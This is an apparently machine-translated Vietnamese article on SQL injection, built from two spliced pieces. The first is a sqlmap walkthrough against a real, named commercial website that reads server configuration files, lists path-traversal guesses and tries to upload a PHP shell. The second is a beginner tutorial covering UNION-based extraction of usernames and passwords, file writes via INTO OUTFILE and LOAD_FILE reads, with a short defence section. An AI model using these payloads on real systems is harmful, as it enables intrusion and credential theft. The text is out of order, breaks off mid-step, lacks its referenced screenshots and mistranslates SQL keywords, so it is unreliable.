Điều đầu tiên chúng tôi muốn làm là kiểm tra xem chúng tôi có đặc quyền ghi tệp trên tài nguyên bị tấn công hay không; để thực hiện việc này, hãy tải thiết bị đầu cuối và đưa ra lệnh sau:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Chúng tôi nhấn Enter và quá trình phân tích SQL Tiêm của chúng tôi bắt đầu, báo cáo trông như thế này:

Như bạn có thể thấy trong báo cáo, phiên bản Apache, phiên bản MySQL và phiên bản HĐH được cài đặt trên máy chủ đều được viết, tất cả những điều này sẽ hữu ích cho chúng tôi trong tương lai, nhưng quan trọng nhất, bạn có thể thấy rằng chúng ta có quyền ghi file, điều này được hiển thị ở dòng Current User is DBA: True

Bước tiếp theo của chúng ta là tìm đường dẫn để ghi lại shell của chúng ta. Chúng tôi có thể lấy đường dẫn đến trang web của mình trên máy chủ bằng cách tải xuống tệp httpd.conf. Chúng tôi lấy thông tin về vị trí của tệp httpd.conf bằng Google; bạn có thể tìm kiếm theo phiên bản hệ điều hành được cài đặt hoặc theo danh sách các đường dẫn có khả năng xảy ra nhất. Nói chung, tôi sẽ không đi sâu vào việc lướt các công cụ tìm kiếm, chỉ khi bạn đã tìm ra vị trí có khả năng nhất của đường dẫn đến tệp thì đã đến lúc tải chính tệp này xuống đĩa của bạn, để thực hiện việc này, hãy nhập thông tin sau lệnh và yêu cầu đọc file trên máy chủ:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Hãy để chúng tôi lưu ý ngay rằng không phải lúc nào cũng có thể tìm thấy tệp cấu hình này trong lần đầu tiên, vì vậy bạn có thể sử dụng các đường dẫn có khả năng nhất nơi tệp này có thể được đặt:

DANH SÁCH CÁC ĐƯỜNG DẪN CÓ THỂ ĐẾN TẬP TIN CẤU HÌNH:

../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../usr/local/httpd/conf/httpd.conf ../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../etc/apache/conf/httpd.conf ../../././../. ./etc/apache2/conf/httpd.conf ../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Chúng tôi nhận được báo cáo từ sqlmap theo mẫu sau:

Như các bạn thấy, sqlmap cho chúng ta biết file có cùng kích thước với file trên server nên chúng ta có quyền đọc file này. Nếu không có đủ quyền để đọc tệp này thì sẽ xuất hiện lỗi là tệp được lưu trên máy của chúng tôi có kích thước khác với tệp trên máy chủ hoặc không có tệp nào trên máy chủ theo đường dẫn chúng tôi đã chỉ định và không bao giờ có là. Sqlmap đã lưu tệp của chúng tôi trong các tệp báo cáo và để đọc nó, chúng tôi cần khởi chạy trình quản lý cửa sổ. Để khởi chạy trình quản lý cửa sổ, chúng ta mở một cửa sổ terminal khác và nhập lệnh:

Tiếp theo, trong trình quản lý mở ra, chúng tôi đi theo đường dẫn nơi sqlmap đã thêm tệp, tức là:
/root/.sqlmap/output/sacoor.com
Tiếp theo, di con trỏ qua file, nhấn nút F3 trên bàn phím và đọc file cấu hình Apache:

Từ tệp cấu hình của chúng tôi, chúng tôi thấy rằng trang web của chúng tôi được đặt trên máy chủ theo đường dẫn sau:
/home/sbshop/site/

Bây giờ chúng ta đã có một ít thông tin, chúng ta có thể thử điền vào shell, để thực hiện việc này, chúng ta nhập lệnh sau:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

Sau khi nhập lệnh, sqlmap sẽ hỏi chúng ta muốn sử dụng loại filler nào, bởi vì... trong trường hợp của chúng tôi, trang web bằng PHP, sau đó chúng tôi sẽ tải lên trình tải PHP, chọn mục 4 và nhấn Enter. Tiếp theo, sqlmap sẽ yêu cầu chúng tôi chọn nơi chúng tôi sẽ tải lên trình tải của mình và vì... Chúng ta đã biết đường dẫn đến trang web của mình trên máy chủ, sau đó chọn mục 2, nhấn Enter và chỉ đường dẫn đến trang web:
/home/sbshop/site/

Và sau đó nhấn Enter và xem báo cáo sau:

Trong trường hợp này, sqlmap cho chúng ta biết rằng chúng ta không có quyền ghi vào thư mục này. Không có vấn đề gì, vấn đề này khá dễ giải quyết. Chúng tôi đưa ra lệnh khởi chạy uniscan và kiểm tra khả năng ghi của các tệp và thư mục, đây là lệnh.

Xin chào người đọc. Gần đây, tôi quan tâm đến bảo mật Web và ở một mức độ nào đó, công việc của tôi có liên quan đến vấn đề này. Bởi vì Ngày càng thường xuyên hơn, tôi bắt đầu chú ý đến các chủ đề trên nhiều diễn đàn khác nhau yêu cầu họ chỉ ra cách thức hoạt động của nó, vì vậy tôi quyết định viết một bài báo. Bài viết sẽ hướng tới những ai chưa gặp phải trường hợp này nhưng muốn tìm hiểu. Có tương đối nhiều bài viết về chủ đề này trên Internet, nhưng đối với người mới bắt đầu thì chúng hơi phức tạp. Tôi sẽ cố gắng mô tả mọi thứ bằng ngôn ngữ rõ ràng và ví dụ chi tiết.

Lời nói đầu

Để hiểu được bài viết này, bạn không thực sự cần kiến ​​thức về ngôn ngữ SQL nhưng ít nhất phải có sự kiên nhẫn và một chút trí óc để ghi nhớ.

Tôi tin rằng chỉ đọc bài viết sẽ không đủ, bởi vì... chúng ta cần những ví dụ sống động - như bạn biết đấy, việc luyện tập trong quá trình ghi nhớ không bao giờ là thừa. Do đó, chúng tôi sẽ viết các tập lệnh dễ bị tấn công và đào tạo về chúng.

SQL SQL là gì?
Nói một cách đơn giản, đây là một cuộc tấn công vào cơ sở dữ liệu, nó sẽ cho phép bạn thực hiện một số hành động không được người tạo tập lệnh lên kế hoạch. Ví dụ từ cuộc sống:

Cha đã viết một bức thư cho mẹ để đưa cho Vasya 100 rúp và đặt nó lên bàn. Làm lại điều này thành ngôn ngữ SQL truyện tranh, chúng tôi nhận được:
LẤY 100 RÚT TỪ VÍ CỦA BẠN VÀ ĐƯA CHO Vasya

Vì người cha viết bức thư kém (chữ viết vụng về) và để nó trên bàn nên anh trai của Vasya là Petya đã nhìn thấy. Petya, là một hacker, đã thêm “HOẶC Pete” vào đó và kết quả là yêu cầu sau:
LẤY 100 RÚT TỪ VÍ CỦA BẠN VÀ ĐƯA CHO Vasya HOẶC Petya

Mẹ sau khi đọc tờ giấy đã quyết định hôm qua sẽ đưa tiền cho Vasya và đưa 100 rúp cho Petya. Đây là một ví dụ đơn giản về việc chèn SQL từ cuộc sống :) Không cần lọc dữ liệu (Mẹ hầu như không hiểu được chữ viết tay), Petya đã kiếm được lợi nhuận.

Sự chuẩn bị
Để thực hành, bạn sẽ cần một kho lưu trữ các tập lệnh nguồn cho bài viết này. Tải xuống và giải nén nó trên máy chủ. Đồng thời nhập cơ sở dữ liệu và thiết lập dữ liệu trong tệp cfg.php

Tìm kiếm SQL tiêm

Như bạn đã hiểu, việc tiêm xuất phát từ dữ liệu đến chưa được lọc. Lỗi phổ biến nhất là không lọc ID được truyền. Vâng, nói một cách đại khái, hãy đặt dấu ngoặc kép ở tất cả các lĩnh vực. Có thể là yêu cầu GET/POST hoặc thậm chí là Cookie!

Tham số đầu vào số
Để thực hành chúng ta cần một kịch bản chỉ mục1.php. Như tôi đã nói ở trên, chúng tôi chèn dấu ngoặc kép vào ID tin tức.

Bởi vì Yêu cầu của chúng tôi không có bộ lọc:

$id = $_GET["id"]; $query = "CHỌN * TỪ tin tức WHERE id=$id";

Kịch bản sẽ hiểu điều này là

CHỌN * TỪ tin tức WHERE id=1"

Và nó sẽ báo lỗi cho chúng ta:
Cảnh báo: mysql_fetch_array() dự kiến ​​tham số 1 là tài nguyên, boolean được cung cấp trong C:\WebServ\domains\sqlinj\index1.php trên dòng 16

Nếu lỗi không xuất hiện thì có thể do các nguyên nhân sau:

1.Không có nội dung SQL ở đây - các trích dẫn đã được lọc hoặc chỉ đáng để chuyển đổi sang (int)
2. Đầu ra lỗi bị tắt.

Nếu bạn vẫn gặp lỗi - Hoan hô! Chúng tôi đã tìm thấy kiểu chèn SQL đầu tiên - Tham số đầu vào số.

Tham số đầu vào chuỗi

Chúng tôi sẽ gửi yêu cầu tới chỉ mục2.php. Trong tệp này, yêu cầu trông giống như:
$người dùng = $_GET["người dùng"]; $query = "CHỌN * TỪ tin tức WHERE user="$user"";

Ở đây chúng tôi chọn tin tức theo tên người dùng và một lần nữa, chúng tôi không lọc.
Một lần nữa chúng tôi gửi yêu cầu kèm theo báo giá:

Nó đã báo lỗi. ĐƯỢC RỒI! Điều này có nghĩa là có một lỗ hổng. Đối với những người mới bắt đầu, thế là đủ đối với chúng tôi - hãy bắt đầu thực hành.

Hãy hành động

Một chút lý thuyết

Bạn có thể nóng lòng muốn nhận được điều gì đó từ việc này ngoài những sai lầm. Đầu tiên, hãy hiểu rằng dấu hiệu " -- " được coi là một nhận xét trong SQL.

CHÚ Ý! Phải có khoảng trống trước và sau nó. Trong URL chúng được truyền dưới dạng %20

Mọi thứ đến sau bình luận sẽ bị loại bỏ, tức là yêu cầu:
CHỌN * TỪ tin tức WHERE user="AlexanderPHP" -- habrahabra

Nó sẽ thành công. Bạn có thể thử điều này trên tập lệnh index2.php bằng cách gửi yêu cầu như thế này:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Tìm hiểu tham số LIÊN HIỆP. Trong ngôn ngữ SQL, từ khóa LIÊN HIỆPđược sử dụng để kết hợp các kết quả của hai truy vấn SQL vào một bảng duy nhất. Tức là để lấy ra thứ chúng ta cần từ một bảng khác.

Hãy tận dụng nó

Nếu tham số là “Số”, thì chúng ta không cần gửi báo giá trong yêu cầu mà tự nhiên đưa nhận xét vào cuối. Hãy quay lại với kịch bản chỉ mục1.php.

Hãy chuyển sang tập lệnh sqlinj/index1.php?id=1 UNION SELECT 1 . Truy vấn cơ sở dữ liệu của chúng tôi trông như thế này:
CHỌN * TỪ tin tức WHERE id=1 UNION CHỌN 1
Và anh ấy đã cho chúng tôi một lỗi, bởi vì... để làm việc với các truy vấn hợp nhất, chúng ta cần có cùng số lượng trường.

Bởi vì Chúng ta không thể tác động đến số lượng của họ trong yêu cầu đầu tiên, sau đó chúng ta cần chọn số của họ trong yêu cầu thứ hai sao cho bằng với số lượng đầu tiên.

Chọn số lượng trường

Việc chọn trường rất đơn giản, chỉ cần gửi các yêu cầu sau:
sqlinj/index1.php?id=1 LỰA CHỌN ĐOÀN 1,2
Lỗi…
sqlinj/index1.php?id=1 LỰA CHỌN UNION 1,2,3
Lại lỗi nữa!
sqlinj/index1.php?id=1 LỰA CHỌN UNION 1,2,3,4,5
Không có lỗi! Điều này có nghĩa là số cột là 5.

NHÓM THEO
Điều thường xảy ra là có thể có các trường 20 hoặc 40 hoặc thậm chí 60. Để không phải sắp xếp chúng mỗi lần, chúng tôi sử dụng NHÓM THEO

Nếu yêu cầu
sqlinj/index1.php?id=1 NHÓM THEO 2
không hiển thị bất kỳ lỗi nào, nghĩa là số trường nhiều hơn 2. Hãy thử:

Sqlinj/index1.php?id=1 NHÓM THEO 8
Ồ, chúng tôi thấy có lỗi, nghĩa là số trường nhỏ hơn 8.

Nếu không có lỗi với GROUP BY 4 và với GROUP BY 6 có lỗi thì số trường là 5

Xác định cột đầu ra
Để đảm bảo rằng không có gì được hiển thị cho chúng tôi từ yêu cầu đầu tiên, việc thay thế một ID không tồn tại là đủ, ví dụ:

Sqlinj/index1.php?id=-1 LỰA CHỌN UNION 1,2,3,4,5

Với hành động này, chúng tôi đã xác định cột nào được hiển thị trên trang. Bây giờ, để thay thế những con số này bằng thông tin cần thiết, bạn cần tiếp tục yêu cầu.

Đầu ra dữ liệu

Giả sử chúng ta biết rằng bảng vẫn tồn tại người dùng trong đó các trường tồn tại nhận dạng, tênvượt qua.
Chúng tôi cần lấy thông tin về người dùng có ID=1

Vì vậy, hãy xây dựng truy vấn sau:

Sqlinj/index1.php?id=-1 UNION CHỌN 1,2,3,4,5 TỪ người dùng Ở ĐÂU id=1
Kịch bản cũng tiếp tục xuất ra

Để làm điều này, chúng tôi sẽ thay thế tên của các trường thay cho số 1 và 3

Sqlinj/index1.php?id=-1 UNION CHỌN tên,2,pass,4,5 TỪ người dùng Ở ĐÂU id=1
Chúng tôi đã có những gì chúng tôi cần!

Đối với "tham số đầu vào chuỗi" như trong tập lệnh chỉ mục2.php bạn cần thêm dấu ngoặc kép ở đầu và dấu nhận xét ở cuối. Ví dụ:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 TỪ người dùng WHERE id=1 --%20

Đọc/Ghi tập tin

Để đọc và ghi tệp, người dùng cơ sở dữ liệu phải có quyền FILE_PRIV.
Ghi tập tin
Trên thực tế, mọi thứ đều rất đơn giản. Để ghi một tập tin, chúng ta sẽ sử dụng hàm TỆP NGOÀI.
sqlinj/index2.php?user=-1" UNION CHỌN 1,2,3,4,5 VÀO OUTFILE "1.php" --%20
Tuyệt vời, tập tin đã được đăng ký với chúng tôi. Vì vậy, chúng ta có thể điền vào mini-shell:
sqlinj/index2.php?user=-1" UNION CHỌN 1,"",3,4,5 VÀO TỆP NGOÀI "1.php" --%20
Đọc tập tin
Đọc tập tin thậm chí còn dễ dàng hơn viết. Chỉ cần sử dụng chức năng là đủ TẢI TẬP TIN, cho vị trí của trường mà chúng tôi chọn:

Sqlinj/index2.php?user=-1" UNION CHỌN 1,LOAD_FILE("1.php"),3,4,5 --%20

Như vậy chúng ta đã đọc được file viết trước đó.

Phương pháp bảo vệ

Bảo vệ bản thân thậm chí còn dễ dàng hơn việc khai thác lỗ hổng. Chỉ cần lọc dữ liệu. Nếu bạn đang truyền số, hãy sử dụng
$id = (int) $_GET["id"];
Như người dùng malroc đã đề xuất. Hãy tự bảo vệ mình bằng cách sử dụng PDO hoặc các câu lệnh được chuẩn bị sẵn.

Thay vì hoàn thành

Đây là nơi tôi muốn kết thúc phần đầu tiên của mình về “Việc tiêm SQL cho người mới bắt đầu”. Trong phần thứ hai, chúng ta sẽ xem xét các ví dụ nghiêm trọng hơn về việc tiêm thuốc. Hãy thử viết các tập lệnh dễ bị tấn công và tự thực hiện các truy vấn.
Và hãy nhớ, đừng tin tưởng bất kỳ người dùng nào trên trang web của bạn.